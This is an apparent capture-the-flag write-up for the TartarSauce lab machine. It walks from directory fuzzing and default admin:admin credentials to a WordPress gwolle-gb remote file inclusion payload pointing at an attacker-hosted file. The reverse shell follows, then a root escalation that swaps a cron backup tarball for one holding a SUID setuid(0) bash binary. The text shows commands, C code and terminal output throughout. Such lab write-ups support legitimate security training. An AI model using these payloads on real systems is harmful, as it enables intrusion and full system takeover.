10.129.1.185

Nmap Recon Results

Os Discovery

TTL = 63 Linux Machine

Recon Open Ports

the unique open ports apparently is 80

whatweb

Web Server : Apache 2.4.8

Service Enumeration

Fuzzing

dirsearch -u http://10.129.1.185/ -w /usr/share/dirb/wordlists/common.txt -e "php,html,txt" -x "400,404" -F -t 100 --plain-text-report=webscan-folders

we continue fuzzing the web server but this thime will be directed to the resource “webservices”

dirsearch -u http://10.129.1.185/webservices/ -w /opt/Seclists/Discovery/Web-Content/raft-medium-words.txt -e "php,html,txt"  -x "400,404,403" -F -t 100 --plain-text-report=webscan-folder-webservices

we identify a new folder called “wp” maybe it’s wordpress let met check

http://tartarsauce.htb/webservices/wp/

Wordpress Enumeration

as can see we discover a valid user in this case “wpadmin”

The Wordpress version is 4.9.3 and the current theme is “Voce”

Web Services Enumeration

http://10.129.1.185/

we try to continue enumerating wordpress but we don’t see anything interesting and the “wp-login” panel apparently does not exist then we can’t carry out a brute force attack to see if we had any luck, we will continue with MONSTRA

robots.txt

User-agent: \*
Disallow: /webservices/tar/tar/source/
Disallow: /webservices/monstra-3.0.4/
Disallow: /webservices/easy-file-uploader/
Disallow: /webservices/developmental/
Disallow: /webservices/phpmyadmin/

Enumerating Resources from robots.txt

http://tartarsauce.htb/webservices/monstra-3.0.4/


CMS VERSION : Monstra 3.04

when we try to access in any tab we received a 404 not found, so we fuzzing the directory to ubicate possible files

Fuzzing Monstra Folders

dirsearch -u http://tartarsauce.htb/webservices/monstra-3.0.4/ -w /opt/Seclists/Discovery/Web-Content/raft-medium-words.txt -e "php,html,txt" -f -x "400,404,403" -F -t 100


http://tartarsauce.htb/webservices/monstra-3.0.4/robots.txt

We visit the resource ‘admin’ of monstra so we find a login panel, we proceed to perform password spraying

and the valid credentials for the panel is ==admin: admin==

Vulnerability Identification

searchsploit monstra 3.0.4

We tried to exploit monstra CMS, but without luck we could not upload any files … so we continued to enumerate wordpress with aggressive enumeration methods, so we found a vulnerable plugin

wpscan --url http://tartarsauce.htb/webservices/wp/ -e p,u,t --plugins-detection aggressive  -t 50 --api-token [ApiToken]


gwolle-gb 4.1.2

searchsploit gwolle

Explotation

Vulnerable plugin allow RFI

/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]

as can see the web services try to find the file “wp-load.php” so we shared a file named “wp-load.php”

Reverse-Shell

Privilege Escalation

Partial Privesc: onuma โ€“> File Read as root

As far as I know, thereโ€™s no way to exploit this box to get a root shell. But I can read files as root

Identify cron with pspy

2018/05/29 07:56:33 CMD: UID=0    PID=24065  | /bin/bash /usr/sbin/backuperer

/usr/sbin/backuperer

 # Set Vars Here
 basedir=/var/www/html
 bkpdir=/var/backups
 tmpdir=/var/tmp
 testmsg=/var/backups/onuma_backup_test.txt 
 errormsg=/var/backups/onuma_backup_error.txt
 tmpfile=/var/tmp/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
 check=/var/tmp/check
 
 # formatting
 printbdr()
 {
     for n in $(seq 72);
     do /usr/bin/printf $"-";
     done
 }
 bdr=$(printbdr)
 
 # Added a test file to let us see when the last backup was run
 /usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > /var/backups/onuma_backup_error.txt
 
 # Cleanup from last time.
 /bin/rm -rf /var/tmp/.* /var/tmp/check
 
 # Backup onuma website dev files.
 /usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile /var/www/html &
 
 # Added delay to wait for backup to complete if large files get added.
 /bin/sleep 30
 
 # Test the backup integrity
 integrity_chk()
 {
     /usr/bin/diff -r /var/www/html /var/tmp/check/var/www/html
 }
 
 /bin/mkdir /var/tmp/check
 /bin/tar -zxvf /var/tmp/.$[[Sha1-Random-Value]] -C /var/tmp/check
 if [[ $(integrity_chk) ]]
 then
     # Report errors so the dev can investigate the issue.
     /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran :  $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
     integrity_chk >> $errormsg
     exit 2
 else
     # Clean up and save archive to the bkpdir.
     /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
     /bin/rm -rf $check .*
     exit 0
 fi


Then the script performs the following actions.
1. Recursively deletes the files/directories: /var/tmp/.* and /var/tmp/check.
2. Creates a gzip file of the directory /var/www/html and saves it in the file /var/tmp/.[random-sha1-value].
3. Sleeps for 30 seconds.
4. Creates the directory /var/tmp/check.
5. Changes to the directory /var/tmp/check and extract the gzip /var/tmp/.[random-sha1-value].
6. If the files in /var/www/html are different from the files in the backup it created /var/tmp/check/var/www/html, then report error. Otherwise, move file /var/tmp/.[random-sha1-value] to /var/backups/onuma-wwww-dev.bak and remove everything in the check directory and any files that start with the character โ€œ.โ€. Those would be the backup .[random-sha1-value] files it created.

The exploit for this is not very intuitive so bear with me as I try to explain it. When the backup is being created, the script sleeps 30 seconds before it executes the rest of the commands. We can use these 30 seconds to replace the backup tar file that the script created with our own malicious file. After the 30 seconds pass, it will create a directory called โ€œcheckโ€ and decompress our malicious backup tar file there. Then it will go through the integrity check and fail, thereby giving us 5 minutes before the next scheduled task is run, to escalate privileges. Once the 5 minutes are up, the backuperer program is run again and our files get deleted.

The way weโ€™re going to escalate privileges is by creating our own compressed file that contains an SUID executable. Hopefully that makes some sense. Letโ€™s start our attack. First, create the directory var/www/html in our attack machine. Then place the following setuid.c program file in the directory.

#include <unistd.h>
int main()
{
    setuid(0);
    execl("/bin/bash", "bash", (char *)NULL);
    return 0;
}

Compile the program.

gcc -m32 -o setuid setuid.c

-m32: 32 bit architecture since the target machine is running a 32 bit os
-o: output file

Then set the SUID bit on the compiled program.

root@kali:~/Desktop/var/www/html# chmod u+s setuid
root@kali:~/Desktop/bla1/var/www/html# ls -la
total 24
drwxr-xr-x 2 root root  4096 Jan 18 11:24 .
drwxr-xr-x 3 root root  4096 Jan 18 10:09 ..
-rwsr-xr-x 1 root root 15532 Jan 18 11:24 setuid

Since weโ€™re running as root in kali (our attack machine), the owner of the file is root and therefore the SUID bit allows a non-privileged user to execute the file with root privileges.

  • Now compress the entire var directory and save it in the file exploit. tar -zcvf exploit var

  • Set up a python server on your attack machine. python -m SimpleHTTPServer 5555

On your target machine, download the compressed exploit file in the directory /var/tmp.

http://10.10.14.12:5555/exploit

Now wait for the backuperer scheduled service to run and create the backup file. We know this happens every 5 minutes. To view how much time is left before the scheduled service is going to run again, use the following command.

systemctl list-timers

When the service is run, view the content of the directory.

onuma@TartarSauce:/var/tmp$ ls -la
total 11280
drwxrwxrwt  8 root  root      4096 Jan 18 21:01 .
drwxr-xr-x 14 root  root      4096 Feb  9  2018 ..
-rw-r--r--  1 onuma onuma 11511681 Jan 18 21:01 .e84f032e69e2e221528b5c1c2ea7fa946a905584
-rw-r--r--  1 onuma onuma     2765 Jan 18 11:46 exploit
drwx------  3 root  root      4096 Feb 17  2018 systemd-private-46248d8045bf434cba7dc7496b9776d4-systemd-timesyncd.service-en3PkS
drwx------  3 root  root      4096 Jan 18 20:41 systemd-private-6490911d22fe49afb4fe34c1971285c9-systemd-timesyncd.service-5H4XIC

The program generated backup compressed file is ".e84f0****." Replace it with our exploit file.

cp exploit .e84f032e69e2e221528b5c1c2ea7fa946a905584

Now we just have to wait for 30 seconds (sleep time) before the “.e84f0***” tar file (which is really our exploit file) is decompressed and saved in the directory check.

onuma@TartarSauce:/var/tmp$ ls -la
total 44
drwxrwxrwt  9 root  root  4096 Jan 18 21:01 .
drwxr-xr-x 14 root  root  4096 Feb  9  2018 ..
-rw-r--r--  1 onuma onuma 2765 Jan 18 21:01 .e84f032e69e2e221528b5c1c2ea7fa946a905584
drwxr-xr-x  3 root  root  4096 Jan 18 21:01 check
-rw-r--r--  1 onuma onuma 2765 Jan 18 11:46 exploit

Enter the /check/var/www/html directory.

onuma@TartarSauce:/var/tmp$ cd check/var/www/html/
onuma@TartarSauce:/var/tmp/check/var/www/html$ ls -la
total 24
drwxr-xr-x 2 root root  4096 Jan 18 11:24 .
drwxr-xr-x 3 root root  4096 Jan 18 10:09 ..
-rwsr-xr-x 1 root root 15532 Jan 18 11:24 setuid

There weโ€™ll see our setuid program with the SUID bit set! The reason the program still has the SUID bit set, is because when the compressed file was decompressed, it was decompressed with root privileges (the privileges the program was running with) and therefore, the permissions on the file were preserved. Run the setuid program.

onuma@TartarSauce:/var/tmp/check/var/www/html$ ./setuid
root@TartarSauce:/var/tmp/check/var/www/html# whoami
root

We are root! Grab the root.txt flag.